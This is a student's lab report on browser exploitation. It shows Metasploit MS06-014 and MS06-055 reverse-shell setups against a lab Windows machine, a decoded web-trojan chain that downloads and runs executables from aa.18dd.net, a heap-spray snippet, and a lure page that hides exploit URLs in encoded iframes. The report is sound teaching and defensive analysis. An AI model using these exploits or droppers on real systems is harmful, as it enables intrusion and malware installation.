20252818 2025-2026-2 《网络攻防实践》实践十一

1.实践内容

(1)web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

①选择使用Metasploit中的MS06-014渗透攻击模块

②选择PAYLOAD为任意远程Shell连接

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

(2)取证分析实践—网页木马攻击场景分析

实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

⑤重复以上过程直到这些文件被全部分析完成。

(3)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2.实践过程

2.1 实验环境准备

首先启动 Kali 攻击机和 Windows 靶机。我之前实验在 Kali 中将主机名修改为 mkm,这次就不展示修改过程了。

查看主机名:

hostname

image

从截图可以看到,当前 Kali 主机名已经修改为 mkm,满足实验截图要求。

接着查看攻击机 IP 地址:

ip addr

image

本次实验中,Kali 攻击机 IP 地址为:

192.168.200.132

在 Windows 靶机中打开命令行,查看靶机 IP 地址:

ipconfig

image

Windows 靶机 IP 地址为:

192.168.200.135

测试两台虚拟机之间的连通性。在 Kali 中执行:

ping 192.168.200.135

在 Windows 靶机中执行:

ping 192.168.200.132

image

image

从测试结果可以看出,攻击机和靶机之间能够正常通信,说明网络环境配置正确,可以继续进行后续实验。

2.2 Web 浏览器渗透攻击

2.2.1 启动 Metasploit 并选择 MS06-014 模块

首先在 Kali 中进入 root 权限,并启动 Metasploit:

sudo su
msfconsole

image

进入 Metasploit 后,搜索 MS06-014 相关漏洞模块:

search MS06-014

image

搜索结果中可以看到 exploit/windows/browser/ie_createobject 模块。该模块主要针对旧版 Internet Explorer 中 ActiveX CreateObject 相关漏洞,在未打补丁的 Windows 旧系统环境中可能被触发。

选择该漏洞模块:

use exploit/windows/browser/ie_createobject

查看模块参数:

show options

image

从参数列表中可以看到,该模块需要设置攻击机地址、服务端口、payload 等内容。这里使用远程 Shell 类型 payload 进行实验。


2.2.2 设置 Payload 并生成恶意网页

设置 payload:

set payload windows/shell/reverse_tcp

设置攻击机地址:

set LHOST 192.168.200.132

运行 exploit:

exploit

image

运行后,Metasploit 会启动一个 Web 服务,并自动生成一个恶意网页 URL,如下:

http://192.168.200.132:8080/qJfbFpKLJW

image

这里需要记录终端中生成的真实 URL,后续 Windows 靶机需要访问这个地址。

2.2.3 Windows 靶机访问恶意网页

在 Windows 靶机中打开 Internet Explorer 浏览器,随后在 IE 浏览器中访问 Metasploit 生成的恶意网页 URL:

http://192.168.200.132:8080/qJfbFpKLJW

image

页面表面上可能只显示字符ho,但浏览器已经加载了攻击机生成的漏洞利用页面。如果靶机环境满足漏洞触发条件,攻击机端会收到连接请求并建立远程 Shell 会话。

2.2.4 查看 Session 并远程执行命令

回到 Kali 的 Metasploit 控制台,查看当前会话:

sessions

image

进入该 session:

sessions -i 1

进入远程 Shell 后,执行以下命令验证是否已经控制 Windows 靶机:

ipconfig
ver

image

从命令输出结果可以看到,返回的 IP 地址与 Windows 靶机 IP 地址一致,系统版本也与实验靶机一致,说明本次 Web 浏览器渗透攻击成功。


2.3 取证分析实践——网页木马攻击场景分析

2.3.1 分析 start.html

首先打开实验提供的 start.html 文件,查看其中是否存在隐藏跳转或内嵌页面。

在 Kali 中使用命令查看:

cat start.html

image

搜索关键字:

grep -n "new09" start.html

image

start.html 中可以发现类似如下内容:

<iframe src="new09.htm" width="0" height="0"></iframe>

这说明 start.html 并不是最终恶意代码所在位置,而是通过隐藏 iframe 加载了 new09.htm。由于 iframe 的宽和高都为 0,普通用户浏览网页时很难直接察觉到后台加载行为。

2.3.2 分析 new09.htm 中的链接

继续分析 new09.htm。这俩文件应该在同一目录下,但是我在学习通没找到,访问给的地址也下载不下来,故从指导视频和参考pdf中找到该文件的内容如下:

<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>

其中:

http://js.users.51.la/1299644.js

主要是流量统计脚本。

另一个地址:

http://aa.18dd.net/aa/kl.htm

是后续恶意代码分析的重点。

根据实验要求,每解密出一个文件地址,都需要对该地址计算 32 位 MD5 值,并使用 MD5 值作为文件名到指定目录下载对应文件。

在 Kali 中使用如下命令查看相应地址的MD5:

echo -n "http://js.users.51.la/1299644.js" | md5sum
echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum

image

计算结果如下:

URL MD5 值 说明
http://js.users.51.la/1299644.js 23180a42a2ff1192150231b44ffdf3d3 流量统计脚本
http://aa.18dd.net/aa/kl.htm 7f60672dcd6b5e90b6772545ee219bd3 恶意网页文件

下载恶意网页对应的文件:

wget http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3 -O 7f60672dcd6b5e90b6772545ee219bd3

image

但是并不能连上这个网,下载不下来,所以看个乐呵就行了,我去学习通下载了压缩包,用里面的文件来做实验。
image

2.3.3 解密 kl.htm 文件

打开包里的 7f60672dcd6b5e90b6772545ee219bd3 文件,可以看到其中存在加密和解密相关代码。
image

重点关注如下代码:

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

image

其中:

\x73\x63\x72\x69\x70\x74

转换为字符串后是:

script

因此可以判断,该文件使用了 Base64 和 XXTEA 加密,解密密钥为 script
然后进行解密:
image
然后我让AI帮我把eval里的字符转译成代码:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

可以看到其核心逻辑大致如下:

var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","");

其中 BD96C556-65A3-11D0-983A-00C04FC29E36 是 MS06-014 相关的典型 CLSID,说明该网页木马会尝试利用旧版 IE 中 ActiveX 相关漏洞。

对 kl.htm 解密后,发现该脚本会依次检测多个 ActiveX 控件,并根据不同控件加载不同后续文件。其分支关系如下:

  1. 如果 Adodb.Stream 对象创建成功,则加载 http://aa.18dd.net/aa/1.js
  2. 如果检测到 MPS.StormPlayer 控件,则加载 http://aa.18dd.net/aa/b.js
  3. 如果检测到 POWERPLAYER.PowerPlayerCtrl.1 控件,则加载 http://aa.18dd.net/aa/pps.js
  4. 如果检测到 BaiduBar.Tool 控件,则调用 DloadDS 下载 http://down.18dd.net/bb/bd.cab,并保存为 bd.exe

因此,后续需要继续分析四个分支文件:1.jsb.jspps.jsbd.cab

2.3.4 计算后续 JS 文件 MD5 并下载

对四个地址分别计算 MD5:

echo -n "http://aa.18dd.net/aa/1.js" | md5sum
echo -n "http://aa.18dd.net/aa/b.js" | md5sum
echo -n "http://aa.18dd.net/aa/pps.js" | md5sum
echo -n "http://down.18dd.net/bb/bd.cab" | md5sum

image

计算结果如下:

文件 URL MD5 值 加密或混淆方式 解密后作用
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4 十六进制 / URL 编码 下载并执行 014.exe
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166 Packed 混淆 利用暴风影音控件,下载并执行 bf.exe
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2 八进制转义编码 利用 PPS 控件,下载并执行 pps.exe
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2 CAB 压缩包 / ActiveX 下载分支 下载后保存为 bd.exe

要下载这几个文件,但是也是下不下来,所以用学习通的就行了。

分别打开三个JS文件,可以发现它们采用了不同的混淆方式。
image
image
image

1.js 主要是十六进制编码,b.js 使用 packed 形式混淆,pps.js 使用八进制形式混淆。
我直接丢给AI让他帮我继续解密了,展示其中一个b.js的:

var bigblock = unescape("%u9090%u9090");
var headersize = 20;

var shellcode = unescape(
"%uf3e9%u0000" +
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"...中间是一大段 shellcode..." +
"%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"
);

var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace)
    bigblock += bigblock;

fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);

while (block.length + slackspace < 0x40000)
    block = block + block + fillblock;

memory = new Array();

for (x = 0; x < 300; x++)
    memory[x] = block + shellcode;

var buffer = '';

while (buffer.length < 4068)
    buffer += "\x0a\x0a\x0a\x0a";

storm.rawParse(buffer);

shellcode 里的可读字符串,关键字符串包括:

GetProcAddress
GetSystemDirectoryA
WinExec
ExitThread
LoadLibraryA
urlmon
URLDownloadToFileA
http://down.18dd.net/bb/bf.exe

所以 b.js 最终指向的二进制程序是http://down.18dd.net/bb/bf.exe

另外俩也类似,它们最终目的都是下载并执行后续二进制木马程序,1.js下载014.exe,pps.js下载pps.exe

这三个JS文件是 kl.htm 根据不同 ActiveX 控件条件动态加载的 JS 脚本;第四个 bd.cab 不是 JS 文件,而是 BaiduBar.Tool 分支通过 DloadDS 直接下载的 CAB 文件,打开后发现是 bd.exe
image

因此后续分析时,应分别分析 014.exebf.exepps.exebd.exe

2.3.5 分析二进制程序文件

根据文件解密结果,可以继续追踪到以下二进制程序:

014.exe
bf.exe
pps.exe
bd.exe

其中前三个exe下载地址的MD5 计算代码如下:

echo -n "http://down.18dd.net/bb/014.exe" | md5sum
echo -n "http://down.18dd.net/bb/bf.exe" | md5sum
echo -n "http://down.18dd.net/bb/pps.exe" | md5sum

image

查看对应文件的MD5:

md5sum ca4e4a1730b0f69a9b94393d9443b979
md5sum 268cbd59fbed235f6cf6b41b92b03f8e
md5sum ff59b3b8961f502289c1b4df8c37e2a4

结果如下:
image

再查看bd.exe的MD5,学习通下载的压缩包里就有:
image

可以发现这四个居然完全一致,所以选一个分析就行了,我选的是pps.exe。

对这些文件进行文件类型识别和查壳分析。首先使用 PEiD 查看程序是否加壳。

image
从 PEiD 结果可以看到,pps.exe显示为 Delphi 程序,未发现明显加壳特征。

使用 IDA Pro 或打开程序,查看字符串窗口。

image

可以看到下载了很多恶意程序。

2.4 攻防对抗实践——Web 浏览器渗透攻击攻防

2.4.1 攻击方:构造第一个漏洞页面 MS06-055

攻击方首先使用 Metasploit 构造第一个浏览器漏洞页面。这里选择 MS06-055 VML 相关漏洞模块。

启动 Metasploit:

msfconsole -q

配置 MS06-055:

use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.200.132
set LPORT 4455
set ExitOnSession false
set VERBOSE true
show options
run -j

image

启动后,第一个漏洞页面地址为:

http://192.168.200.132:8081/ms06055

在 Windows 靶机 IE 中访问:

http://192.168.200.132:8081/ms06055

image

回到 Metasploit 查看 session:

sessions -l
sessions -i 1

image

进入后执行:

ver
ipconfig

image

返回 Windows 靶机系统版本和 IP 地址,说明第一个漏洞页面可以独立触发。

2.4.2 攻击方:构造第二个漏洞页面 MS06-014

在 Metasploit 中配置 MS06-014:

use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.200.132
set LPORT 5544
set ExitOnSession false
set VERBOSE true
show options
run -j

image

启动后,第二个漏洞页面地址为:

http://192.168.200.132:8082/ms06014

在 Windows 靶机 IE 中访问:

http://192.168.200.132:8082/ms06014

image

回到 Metasploit 查看 session:

sessions -l
sessions -i 1

image

进入后执行:

ver
ipconfig

image

返回靶机系统信息,说明第二个漏洞页面也可以独立触发。

2.4.3 攻击方:对两个漏洞 URL 进行 URL 编码混淆

为了不在入口页面中直接暴露真实漏洞利用地址,将 MS06-055 和 MS06-014 的 URL 转换为 %xx 形式的 URL 编码字符串(一开始是转的十六进制混淆,跟前面实验一样,但是IE兼容性太差了,给我搞崩了,所以换了个)。
真实漏洞地址如下:

http://192.168.200.132:8081/ms06055
http://192.168.200.132:8082/ms06014

得到编码结果:

%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%30%30%2e%31%33%32%3a%38%30%38%31%2f%6d%73%30%36%30%35%35
%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%30%30%2e%31%33%32%3a%38%30%38%32%2f%6d%73%30%36%30%31%34

这是简单的 URL 编码混淆。其目的不是防止专业人员分析,而是避免真实漏洞 URL 直接出现在入口页面中,从而模拟网页挂马中常见的隐藏真实攻击地址的做法。

2.4.4 攻击方:创建统一入口页面

启动 Apache 服务:

sudo systemctl start apache2
sudo systemctl status apache2

image

创建实验目录:

sudo mkdir -p /var/www/html/lab11_20252818

创建入口页面文件:

sudo vim /var/www/html/lab11_20252818/index_20252818.html

写入以下内容:

<html>
<head>
<title>browser test</title>
</head>
<body>
<h3>browser test page</h3>
<p>loading...</p>

<script language="javascript">
var u1 = unescape("%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%30%30%2e%31%33%32%3a%38%30%38%32%2f%6d%73%30%36%30%31%34");
var u2 = unescape("%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%30%30%2e%31%33%32%3a%38%30%38%31%2f%6d%73%30%36%30%35%35");

document.write("<iframe src='" + u1 + "' width='300' height='80'></iframe>");

function loadSecond(){
    document.write("<iframe src='" + u2 + "' width='300' height='80'></iframe>");
}

setTimeout("loadSecond()", 15000);
</script>

</body>
</html>

保存后,在 Kali 中测试页面是否可以访问:

curl http://192.168.200.132/lab11_20252818/index_20252818.html

image

能看到 HTML 内容,说明 Apache 服务和入口页面都已经配置成功。

统一入口 URL 为:

http://192.168.200.132/lab11_20252818/index_20252818.html

2.4.5 攻击方:模拟欺骗性邮件

为了模拟实际攻击中的诱导访问过程,这里使用本地文本文件模拟邮件内容,不进行真实邮件发送。

创建带学号的邮件文本:

vim ~/lab11_mail_20252818.txt

写入以下内容:

主题:关于浏览器兼容性测试页面的通知

同学你好:

请在实验靶机浏览器中打开下面的页面,完成浏览器兼容性测试:

http://192.168.200.132/lab11_20252818/index_20252818.html

本链接仅用于课堂实验(20252818 mkm)。

因为中文会乱码,所以我翻译成了英文。

image

邮件正文只出现统一入口 URL,而没有直接出现真实漏洞页面地址,体现了挂马链接隐藏真实攻击目标的特点。

2.4.6 攻击方:同时启动两个 Metasploit 服务并访问统一入口

重新启动 MS06-055 服务:

use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.200.132
set LPORT 4455
set ExitOnSession false
set VERBOSE true
run -j

image

重新启动 MS06-014 服务:

use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.200.132
set LPORT 5544
set ExitOnSession false
set VERBOSE true
run -j

image

在 Windows 靶机中打开 IE,访问统一入口页面:

http://192.168.200.132/lab11_20252818/index_20252818.html

image

回到 Kali 查看是否建立 session:

sessions -l

image
image

出现 session,分别进入 session:

sessions -i 1
sessions -i 3

执行:

ipconfig
ver

image
image

2.4.7 防守方:提取挂马链接并解混淆

防守方首先从模拟邮件中提取出统一入口链接:

http://192.168.200.132/lab11_20252818/index_20252818.html

打开入口页面源代码后,可以看到页面表面上只是一个“浏览器兼容性测试页面”,但源码中存在两段经过 %xx 形式编码的可疑字符串:

var u1 = unescape("%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%30%30%2e%31%33%32%3a%38%30%38%31%2f%6d%73%30%36%30%35%35");
var u2 = unescape("%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%30%30%2e%31%33%32%3a%38%30%38%32%2f%6d%73%30%36%30%31%34");

document.write("<iframe src='" + u1 + "' width='300' height='80'></iframe>");
document.write("<iframe src='" + u2 + "' width='300' height='80'></iframe>");

image

从源码可以看出,入口页没有直接暴露真实漏洞 URL,而是使用 unescape()%xx 形式的字符串进行解码,然后通过 document.write() 动态写入两个 iframe。这样用户在邮件中只能看到统一入口页面链接,而真实的漏洞页面地址被隐藏在 JavaScript 编码字符串中。

为了还原真实 URL,可以借助AI进行解码:

image

解码后可以还原出两个真实漏洞利用地址:

http://192.168.200.132:8081/ms06055
http://192.168.200.132:8082/ms06014

由此可以判断,该统一入口页面并不是普通测试页面,而是通过 JavaScript 解码隐藏 URL,再利用 iframe 在后台加载两个浏览器漏洞利用页面。


2.4.8 防守方:漏洞归因分析

根据还原出的 URL以及Metasploit 模块配置,可以对两个隐藏漏洞页面进行归因分析。

还原出的 URL 对应 Metasploit 模块 攻击对象 漏洞类型 分析依据
http://192.168.200.132:8081/ms06055 exploit/windows/browser/ms06_055_vml_method Windows 2000 / Internet Explorer MS06-055 VML Fill Method 相关浏览器远程代码执行漏洞 URL 路径为 /ms06055,Metasploit 模块名称为 ms06_055_vml_method
http://192.168.200.132:8082/ms06014 exploit/windows/browser/ie_createobject Windows 2000 / Internet Explorer / ActiveX MS06-014 ActiveX CreateObject 相关漏洞 URL 路径为 /ms06014,Metasploit 模块名称为 ie_createobject

这一部分实验做得很难受,因为旧版 IE 在连续加载多个漏洞页面时多次出现卡顿、闪退和不兼容现象,不得已进行了多次修改代码,最终才能勉强跑通。

3.学习中遇到的问题及解决

问题1:kl.htm 不是普通脚本,存在多层编码和加密

打开 kl.htm 后,发现其中不是直接可读的 JavaScript,而是包含 base64decodexxtea_decrypt 等函数。关键解密语句为:

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

其中 \x73\x63\x72\x69\x70\x74 需要先还原为字符串 script,才能确定 XXTEA 的解密密钥。第一层解密后,内部还存在 eval("\x..") 形式的十六进制转义代码。

解决方案:

没有直接在浏览器中运行原始网页,而是采用静态分析方式处理。先识别出 Base64 + XXTEA 的组合加密方式,再将密钥 \x73\x63\x72\x69\x70\x74 还原为 script。第一层解密后,对 eval("\x..") 中的 JavaScript 十六进制转义字符串继续还原,最终得到可读的明文脚本。这样可以在不执行恶意代码的情况下,分析出它后续加载 1.jsb.jspps.jsbd.cab 的逻辑。


问题2:容易混淆URL 的 MD5和文件本身的 MD5

实验中有两类 MD5 很容易混在一起。第一类是对 URL 字符串计算 MD5,例如:

echo -n "http://down.18dd.net/bb/014.exe" | md5sum

这个 MD5 的作用是到 hashed 目录中定位文件。第二类是对下载后的文件本身计算 MD5,例如:

md5sum 014.exe bf.exe pps.exe bd.exe

这个 MD5 用于判断几个下载得到的样本内容是否相同。如果不区分这两类 MD5,就容易把URL 不同误解为文件不同。

解决方案:

在报告中明确区分两步:先对 URL 计算 MD5,用于下载 hashed 文件;下载完成后,再对 exe 文件本身计算 MD5,用于判断样本是否一致。通过这种方式可以说明,多个不同下载地址可能最终指向相同的二进制样本,因此后续可以选择其中一个代表样本进行 PEiD 和 IDA Pro 分析,避免重复分析。


问题3:统一入口页面在旧版 IE 中兼容性不稳定

在攻防对抗实验中,两个漏洞页面单独访问时均可以触发并建立 session。但把 MS06-055 和 MS06-014 组装到同一个统一入口页面后,Win2kServer_SP0 的 IE 多次出现卡顿、假死或闪退现象。最初使用普通十六进制字符串和 JavaScript 动态创建 iframe 的方式,旧版 IE 执行并不稳定,导致后台漏洞页面不能稳定加载。

解决方案:

先分别直接访问:

http://192.168.200.132:8081/ms06055
http://192.168.200.132:8082/ms06014

确认两个 Metasploit 模块本身均可正常触发。然后使用 tcpdump 监听 8081 和 8082 端口,判断统一入口页面是否真的访问了两个漏洞页面。最后将入口页改为兼容性更好的 %xx URL 编码混淆方式,通过 unescape() 还原 URL,再用 document.write() 写入 iframe。实际测试表明,该方式比原先的动态 iframe 写法更适合 Win2k 的 IE 环境。对于统一入口连续触发时出现的卡顿现象,则结合 tcpdump、Metasploit 输出和 session 结果综合判断,而不是只看页面是否正常显示。

4.实践总结

本次实验把浏览器漏洞利用、网页木马取证分析和攻防对抗串在了一起,整体流程比前几次实验更复杂。它不是单纯运行一个 Metasploit 模块,也不是只分析一个恶意文件,而是需要把网页跳转、脚本解密、MD5 文件定位、二进制分析和浏览器漏洞触发过程连起来看。

在 Web 浏览器渗透攻击部分,我比较直观地看到,浏览器漏洞和传统的远程服务漏洞不一样。靶机不需要主动运行 exe,只要使用存在漏洞的 IE 访问攻击者构造的网页,就可能触发 payload 并反连攻击机。MS06-014 主要利用旧版 IE 中 ActiveX / COM CreateObject 相关问题,MS06-055 则利用 IE 对 VML 内容处理时的漏洞。实验中通过 session 执行 ipconfigver,可以确认拿到的确实是 Win2kServer_SP0 靶机的远程 shell。

在网页木马取证分析部分,我体会到网页木马的关键不在某一个文件,而在整条链路。start.html 只是入口,后面还有 new09.htmkl.htm、多个 JS 文件以及最终的 exe 文件。kl.htm 中使用 Base64、XXTEA 和十六进制转义隐藏真实脚本,后续 1.jsb.jspps.js 又分别采用不同形式的混淆。只有逐层还原,才能知道它真正加载了哪些 ActiveX 分支、下载了哪些二进制程序。这个过程也说明,分析恶意网页时不能只看页面表面显示内容,而要关注 iframe、script、ActiveX、下载地址和解码函数。

在二进制分析部分,我主要理解了 PEiD、IDA Pro 和字符串分析的作用。PEiD 可以先判断文件类型、编译器特征和是否存在明显加壳;IDA Pro 的字符串窗口则可以快速发现下载地址、批处理文件、驱动路径、注册表相关内容等可疑信息。相比直接运行样本,静态分析更适合课堂实验环境,也能降低误操作风险。

这次实验也让我更清楚地理解了攻击方和防守方的视角差异。攻击方会尽量把真实漏洞地址隐藏在入口页面里,例如使用 %xx URL 编码混淆,再通过 iframe 后台加载;防守方则需要从邮件链接入手,查看入口页源码,识别 unescape()、iframe、可疑 URL 编码字符串,并进一步还原真实漏洞页面。也就是说,所谓“挂马链接”往往不是一个单独的恶意地址,而是一套由诱导链接、混淆脚本、漏洞页面和 payload 组成的攻击链。

总体来看,本次实验的收获主要有三点:第一,理解了旧版 IE 浏览器漏洞利用的基本流程;第二,掌握了网页木马多层跳转和混淆脚本的分析思路;第三,认识到取证分析不能只依赖单一证据,而要把源码、MD5、工具输出和远程会话结果结合起来判断。后续如果再分析类似样本,我会优先梳理攻击链,再逐层验证每个文件和每个 URL 的作用,避免只看局部结果就下结论。

posted @ 2026-06-08 15:37  一匹神马  阅读(2)  评论(0)    收藏  举报